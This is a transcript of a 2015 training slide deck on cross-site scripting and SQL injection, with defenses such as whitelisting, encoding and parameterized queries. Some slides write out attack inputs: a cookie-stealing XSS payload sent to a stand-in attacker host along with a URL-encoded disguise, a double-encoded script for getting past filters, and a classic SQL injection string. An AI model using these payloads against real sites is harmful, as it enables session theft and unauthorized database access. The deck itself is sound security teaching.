Presentation is loading. Please wait.

Presentation is loading. Please wait.

Cross Site Scripting & SQL injection Hakan Tolgay 15.01.2015.

Similar presentations


Presentation on theme: "Cross Site Scripting & SQL injection Hakan Tolgay 15.01.2015."— Presentation transcript:

1 Cross Site Scripting & SQL injection Hakan Tolgay

2 Input/Output handling - SOP  SOP – Same Origin Policy  SOP, is a security measure used in Web browser programming languages such as JavaScript and Ajax to protect the confidentiality and integrity of information.  Same Origin Policy prevents a web site's scripts from accessing and interacting with scripts used on other sites.  To do that Protocol Domain name Port

3 Input/Output handling - SOP example.com.tr/admin/page.aspx https://www. example.com.tr/admin/page.aspx

4 Input/Output handling – Whats the problem  The typical problem in web applications is mixing of data and the malicious code.  Input fields of a web application can be exploited by hackers unless required checks are made.  Input fields should not be seen as simple text boxes.

5 What is Javascript  JavaScript is a programming language used to make web pages interactive.  It runs on your visitor's computer and doesn't require constant downloads from website.  JavaScript is often used to create polls and quizzes.

6

7 Cross Site Scripting (XSS) – Introduction  XSS is a vulnerability that allows an attacker to run arbitrary JavaScript in the context of the vulnerable website.  Exploit in Javascript  Is not depended on a specific platform or language

8 XSS – Introduction  The target of XSS attack is other users.  In the 3rd place of OWASP top 10 security risk list (OWASP top is available in the training materials)  Thus, basically  Cross Site Scripting is when attackers use vulnerabilities in your web application to distribute malicious scripts to other users (which then run other users web browsers)

9 Types of XSS  Reflected XSS  Link in other website or  Stored XSS  Forum, bulletin board, feedback form  DOM Based XSS  PDF Adobe Reader, FLASH player

10 Reflected XSS

11  Say that the welcome page is vulnerable to a XSSS attack since a welcome message can be displayed on the welcome page with the user's name passed as a parameter:   Pass the following Javascript code as the name parameter, in order to redirect the user to a page atacker controls  document.location='http://site.pirate/cgi-bin/script.cgi?'+document.cookie  The above code retrieves the user's cookies and sends them as parameters to a CGI script. The following code passed as a parameter would be too visible:  document.location ='http://site.pirate/cgi- bin/script.cgi?'+document.cookie  However, coding the URL makes it possible to disguise the attack:  6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%5c%27%68%74%74%70%3a%2f%2f%73%69%74% 65%2e%70%69%72%61%74%65%2f%63%67%69%2d%62%69%6e%2f%73%63%72%69%70%74%2e% 63%67%69%3f%5c%27%20%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f% 53%43%52%49%50%54%3e

12 Reflected XSS

13 Reflected XSS – DEMO

14 Stored XSS  JavaScript supplied by the attacker is stored by the website (e.g. in a database)  Doesn’t require the victim to supply the JavaScript somehow, just visit the exploited web page  More dangerous than Reflected XSS

15 Stored XSS – DEMO

16 XSS – What can you do with JavaScript  Pop-up alerts and prompts  Access cookies/session tokens  Detect installed programs  Detect browser history  Capture keystrokes (and other trojan functionality)  Port scan the local network  Redirect to a different web site  Determine if they are logged on to a particular site  Capture clipboard content  Detect if the browser is being run in a virtual machine  Rewrite the status bar  Exploit browser vulnerabilities  Launch executable files (in some cases)

17 XSS - Defense  What can be done?

18 Defense - Blacklisting approach  Blacklist has items which shouldn’t have  Is fast to set up, but can be bypassed more easily by a skilled attacker.  Do not use "blacklist" validation to detect XSS in input or to encode output.  Searching for and replacing just a few characters (" " and other similar characters or phrases such as “script”) is weak and has been attacked successfully.  Even an unchecked “ ” tag is unsafe in some contexts. XSS has a surprising number of variants that make it easy to bypass blacklist validation.

19 Defense - Whitelisting approach  Whitelist has items which should have  Whitelisting allows for a much stronger security solution than blacklisting but comes with a steep learning curve. Once mastered, though, whitelisting is very effective at stopping XSS attacks.

20 Defense - Encoding/Decoding  Encoding variable output substitutes HTML markup with alternate representations called entities  By using double encoding it’s possible to bypass security filters that only decode user input once.

21 Encoding Demo

22 Defense - Encoding/Decoding - Example  alert('XSS')  Web application can have a character filter which prohibits characters such as “ ” and “/”, since they are used to perform web application attacks.  The attacker could use a double encoding technique to bypass the filter and exploit the client’s session. The encoding process for this Java script is:  Finally, the malicious double encoding code is:  %253Cscript%253Ealert('XSS')%253C%252Fscript%253E

23 Defense  Never Insert Untrusted Data Except in Allowed Locations in OWASP XSS prevention list rules  Check https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet

24 What is SQL  Structured Query Language  A Language designed for managing data held in databases  Examples:  SELECT * FROM usersTable WHERE uname = ‘hakan’  SELECT isbn, title, price FROM Book WHERE price > ORDER BY title;

25 What is SQL – more example  SELECT Name, Surnamme FROM Custome WHERE Age > 30; Customer NameSurnameAgeSex LisaBecker37F ErwinVisser31M LaraMartini24F AlanNewman29M Result Set

26 SQL Injection  Sending parameters directly from application to the database server can cause unauthorized queries.  #1 at top 10 security risk list

27 SQL Injection  statement = "SELECT * FROM users WHERE name ='" + userName + "';  ' or '1'='1  SELECT * FROM users WHERE name = '' OR '1'='1';

28 SQL Injection – DEMO

29

30 SQL Injection – Blind injection

31 SQL Injection – Defense  Use parameterized queries  For Java use PreparedStatement  For c# use Parameters.Add  Check OWASP SQL injection cheat sheet  https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet

32 Thank You


Download ppt "Cross Site Scripting & SQL injection Hakan Tolgay 15.01.2015."

Similar presentations


Ads by Google